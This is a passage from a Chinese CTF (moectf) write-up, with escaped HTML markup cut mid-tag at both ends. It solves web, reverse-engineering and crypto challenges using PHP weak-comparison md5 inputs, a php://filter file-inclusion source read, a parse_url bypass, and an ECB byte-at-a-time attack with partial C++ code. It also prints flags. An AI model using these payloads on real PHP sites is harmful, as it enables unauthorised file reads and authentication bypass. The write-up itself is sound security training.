class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e \u003cspan class=\"attr\"\u003elang\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;en\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehead\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003emeta\u003c/span\u003e \u003cspan class=\"attr\"\u003echarset\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;UTF-8\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etitle\u003c/span\u003e\u0026gt;\u003c/span\u003eTitle\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etitle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehead\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eh1\u003c/span\u003e\u0026gt;\u003c/span\u003e远在天边,近在眼前\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eh1\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u0026lt;!--moectf{f12_is_th3_bAsic_way_t0_get_F1ag}--\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebody\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"GET-POST\"\u003eGET/POST\u003c/h4\u003e\u003cp\u003e用请求工具进行get/post请求,带个flag参数\u003c/p\u003e\u003cfigure class=\"highlight http\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eGET\u003c/span\u003e \u003cspan class=\"string\"\u003e/moectf/get/index.php?flag=\u003c/span\u003e \u003cspan class=\"meta\"\u003eHTTP/1.1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attribute\"\u003eHost\u003c/span\u003e\u003cspan class=\"punctuation\"\u003e: \u003c/span\u003e120.77.152.169:8088\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003emoectf{GEt_13_the_ba5ic_method}\u003cbr/\u003emoectf{Post_1s_the_sEcond_Method}\u003c/p\u003e\u003ch4 id=\"PHP是世界上坠吼的语言\"\u003ePHP是世界上坠吼的语言\u003c/h4\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$md5a\u003c/span\u003e = md5(\u003cspan class=\"variable\"\u003e$a\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$md5s\u003c/span\u003e = md5(\u003cspan class=\"variable\"\u003e$s\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$s\u003c/span\u003e != \u003cspan class=\"variable\"\u003e$a\u003c/span\u003e \u0026amp;\u0026amp; \u003cspan class=\"variable\"\u003e$md5a\u003c/span\u003e == \u003cspan class=\"variable\"\u003e$md5s\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$flag\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003ephp弱类型比较,常用md5:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003emd5(‘\u003cspan class=\"number\"\u003e240610708\u003c/span\u003e’) == md5(‘QNKCDZO’)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emd5(‘aabg7XSs’) == md5(‘aabC9RqS’)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e等等\u003c/p\u003e\u003cp\u003ephp类型比较说明文档\u003cbr/\u003ePHP文件包含\u003c/p\u003e\u003cp\u003e?file=file.php\u003c/p\u003e\u003cp\u003e要读源码,加参数\u003c/p\u003e\u003cp\u003e\u003ccode\u003ephp://filter/read=convert.base64-encode/resource=flag.php\u003c/code\u003e\u003c/p\u003e\u003cp\u003e得到\u003cbr/\u003ePD9waHAKLy9tb2VjdGZ7TElGXzFTX3YzcnlfRWFTeX0K\u003c/p\u003e\u003cp\u003ebase64解码后得到flag(好叭这个flag.php是猜的)\u003cbr/\u003eParse_URL\u003c/p\u003e\u003cp\u003e……这是原题。\u003cbr/\u003e最好的语言里的parse_url()函数有个feature,当它接收到一个无法parse的url参数时会返回FALSE\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eOn seriously malformed URLs, parse_url() may return FALSE.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003ephp parse_url函数文档\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$url\u003c/span\u003e = urldecode(\u003cspan class=\"variable\"\u003e$_SERVER\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;REQUEST_URI\u0026#39;\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$url\u003c/span\u003e = parse_url(\u003cspan class=\"variable\"\u003e$url\u003c/span\u003e, PHP_URL_QUERY);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (preg_match(\u003cspan class=\"string\"\u003e\u0026#34;/\\w+/i\u0026#34;\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$url\u003c/span\u003e))\u003cspan class=\"comment\"\u003e#匹配[A-Z][a-z][0-9]和下划线\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;...\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003efalse当然不是character啦啦啦啦\u003cbr/\u003e所以把url里头的斜杠多写几个就可以啦\u003cbr/\u003e然后再配上一个小小的参数就爆flag了\u003c/p\u003e\u003cp\u003e\u003ccode\u003e?_=0\u003c/code\u003e\u003c/p\u003e\u003cp\u003eflag是啥?不重要了\u003c/p\u003e\u003ch4 id=\"PHP弱类型的复仇\"\u003ePHP弱类型的复仇\u003c/h4\u003e\u003cp\u003e先干啥好呢?F12啊\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$pattern\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#39;/^(?=[1-9])(?=.[A-Z]).{10,12}$/\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#匹配以一个数字开头,紧跟一个大写字母的长度为10-12的串\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$gugugu\u003c/span\u003e=\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;gugugu\u0026#39;\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (preg_match(\u003cspan class=\"variable\"\u003e$pattern\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$gugugu\u003c/span\u003e)===\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;正则看懂了嘛\u0026#34;\u003c/span\u003e;\u003cspan class=\"comment\"\u003e#看懂啦\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$secret\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;******\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$gugugu\u003c/span\u003e==\u003cspan class=\"variable\"\u003e$secret\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;tqdl,给师傅递flag\u0026lt;br\u0026gt;\u0026#34;\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$flag\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e。\u003cbr/\u003e这道题。。。。ORZ dalao。。。关键在于“以一个数字开头,紧跟一个大写字母的长度为10-12的串”如何表示一个数字,构造一个弱类型比较。\u003cbr/\u003e0x?小写。pass\u003cbr/\u003e然后我就智障了\u003cbr/\u003e1*100000000的计算结果?\u003cbr/\u003e哦\u003c/p\u003e\u003cp\u003e\u003ccode\u003e?gugugu=6E00000000\u003c/code\u003e\u003c/p\u003e\u003ch4 id=\"不会的题\"\u003e不会的题\u003c/h4\u003e\u003cp\u003e不会的题写什么wp\u003c/p\u003e\u003ch4 id=\"白名单过滤xss\"\u003e白名单过滤xss\u003c/h4\u003e\u003cp\u003e哦\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eruntime error? reverse engineering?\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"RE\"\u003eRE\u003c/h2\u003e\u003cp\u003e入场前请检查您是否带着您的毛(i)巾(da)\u003c/p\u003e\u003ch4 id=\"re1\"\u003ere1\u003c/h4\u003e\u003cp\u003e拖到ida里\u003c/p\u003e\u003cp\u003e找不到flag?View-\u0026gt;Open Subviews-\u0026gt;Strings\u003c/p\u003e\u003ch4 id=\"re2\"\u003ere2\u003c/h4\u003e\u003cp\u003e拖到ida里\u003c/p\u003e\u003cp\u003eStrings里找不到flag?实现一下F5出来的逻辑,反过来写一遍(实现一下反函数)\u003c/p\u003e\u003cp\u003e\u003ccode\u003emoectf{Qidao_by_fa1con}\u003c/code\u003e\u003c/p\u003e\u003ch4 id=\"py逆向\"\u003epy逆向\u003c/h4\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit \u003cspan class=\"built_in\"\u003eclone\u003c/span\u003e https://github.com/wibiti/uncompyle2.git\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e uncompyle2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epython setup.py install\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e ..\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003euncompyle py.pyc\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后同re2\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estring orig=\u003cspan class=\"string\"\u003e\u0026#34;bX;oY4Tpe4D8Q2;VRW:{U2;IQIP8fR?@\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;i\u0026lt;orig.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e();i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e orig[i]-=i%\u003cspan class=\"number\"\u003e4\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cout\u0026lt;\u0026lt;orig;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003ebase64一下\u003cbr/\u003e\u003ccode\u003emoectf{pyC_RE_1S_E@sy}\u003c/code\u003e\u003c/p\u003e\u003ch4 id=\"玩过2048么?\"\u003e玩过2048么?\u003c/h4\u003e\u003cp\u003e那当然是玩过啦\u003c/p\u003e\u003cp\u003e但是玩不到4096怎么办啊…\u003cbr/\u003e那当然是修改器啦\u003c/p\u003e\u003cp\u003e用八门神器(误)IDA找到4096(1000h)改成16(10h)\u003c/p\u003e\u003ch2 id=\"CRYPTO\"\u003eCRYPTO\u003c/h2\u003e\u003ch4 id=\"Open-the-door-of-Crypto\"\u003eOpen the door of Crypto\u003c/h4\u003e\u003cp\u003e熟练使用openssl\u003cbr/\u003e熟练使用factordb\u003cbr/\u003e熟练使用notepad\u003c/p\u003e\u003ch4 id=\"ECB-Attack\"\u003eECB_Attack\u003c/h4\u003e\u003cul\u003e\u003cli\u003eAES背景知识\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eAES是一种”对称加密”方式,与以RSA为代表的”非对称加密”相对,用同一个密钥进行加密和解密。AES分多种加密模式,其中ECB模式是最简单最易实现的一种。带来便利性的同时,ECB也有一些小缺陷,在某些时候,如果使用不当,AES-ECB有可能带来巨大的灾难。\u003c/p\u003e\u003cul\u003e\u003cli\u003eECB加密过程\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e进行ECB加密时,首先要将字符串分割成相等的几部分(称为block)。为方便表示,此处以3个字符为一个block进行演示,不展示密钥对明文加密的过程。\u003c/p\u003e\u003cp\u003e做出以下假设:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e明文\u003c/th\u003e\u003cth\u003e密文\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eaaa\u003c/td\u003e\u003ctd\u003eciph1\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eaab\u003c/td\u003e\u003ctd\u003eciph2\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eaba\u003c/td\u003e\u003ctd\u003eciph3\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ebba\u003c/td\u003e\u003ctd\u003eciph4\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e这时当我们对字串\u003c/p\u003e\u003cp\u003e\u003ccode\u003eaaaaaa\u003c/code\u003e\u003c/p\u003e\u003cp\u003e进行加密时,便可以得到密文\u003c/p\u003e\u003cp\u003e\u003ccode\u003eciph1ciph1\u003c/code\u003e\u003c/p\u003e\u003cp\u003eECB的缺陷何在?\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eECB的每个block前后文不相关,即每个block单独加密,不与其他block相呼应\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e实行一次攻击的条件:\u003c/p\u003e\u003cul\u003e\u003cli\u003e攻击方能够控制字串一定部分的长度\u003c/li\u003e\u003cli\u003e攻击方了解需要获取的信息目标之前的一段信息\u003c/li\u003e\u003cli\u003e攻击方已知字串以某一未知密钥加密后的密文\u003c/li\u003e\u003cli\u003e攻击方能够多次数获取某一字符串以相同密钥加密后的密文\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e假设我们能控制从某一字符串开始处的内容长度,并且了解到字符串的结构为\u003c/p\u003e\u003cp\u003e\u003ccode\u003e[controllable]aaa[target],block=3\u003c/code\u003e\u003c/p\u003e\u003cp\u003e当我们控制\u003ccode\u003e[controllable]\u003c/code\u003e部分为\u003ccode\u003ebb\u003c/code\u003e时,字符串为\u003c/p\u003e\u003cp\u003e\u003ccode\u003ebbaaa[target]\u003c/code\u003e\u003c/p\u003e\u003cp\u003e切分block后为\u003c/p\u003e\u003cp\u003e\u003ccode\u003ebba aa[target_0] [target_1-end]\u003c/code\u003e\u003c/p\u003e\u003cp\u003e现在我们已知整个字符串的密文为\u003c/p\u003e\u003cp\u003e\u003ccode\u003eciph4ciph2ciph5\u003c/code\u003e\u003c/p\u003e\u003cp\u003e则通过尝试对第二个block进行填充并加密可以试出target_0的值为b\u003cbr/\u003e现缩短[controllable]部分长度,更改为\u0026#34;b\u0026#34;,则字串变为\u003c/p\u003e\u003cp\u003e\u003ccode\u003ebaaa[target]\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003ebaa a[target_0][target_1] [target_2-end]\u003c/code\u003e\u003c/p\u003e\u003cp\u003e此时已知第二个block的内容为”ab[target_1]”,再次尝试可以获得target第二位的值\u003cbr/\u003e现更改[controllable]部分为”bbbb”,字串切分后为\u003c/p\u003e\u003cfigure class=\"highlight plain\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ebbb baa a[target_0][target_1] [target_2-end]\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其效果与\u003ccode\u003e[controllable]=\u0026#34;b\u0026#34;\u003c/code\u003e相当,但给我们留下了更多的缩短余地。\u003c/p\u003e\u003cul\u003e\u003cli\u003e回到原题\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e通过多次尝试,不难发现字符串每16个字符划分一个block,作者又给了我们源代码以供参考,连接到服务器后发送来的消息中包含了flag。我们需要控制name长度来”缩”出来flag\u003c/p\u003e\u003cp\u003e\u003ccode\u003ehello, [name], your mission\u0026#39;s flag is: [flag]\u003c/code\u003e\u003c/p\u003e\u003cp\u003e于是我们可以写个python来跑,然而我太弱了不会python,CinCPP将就着看吧\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan 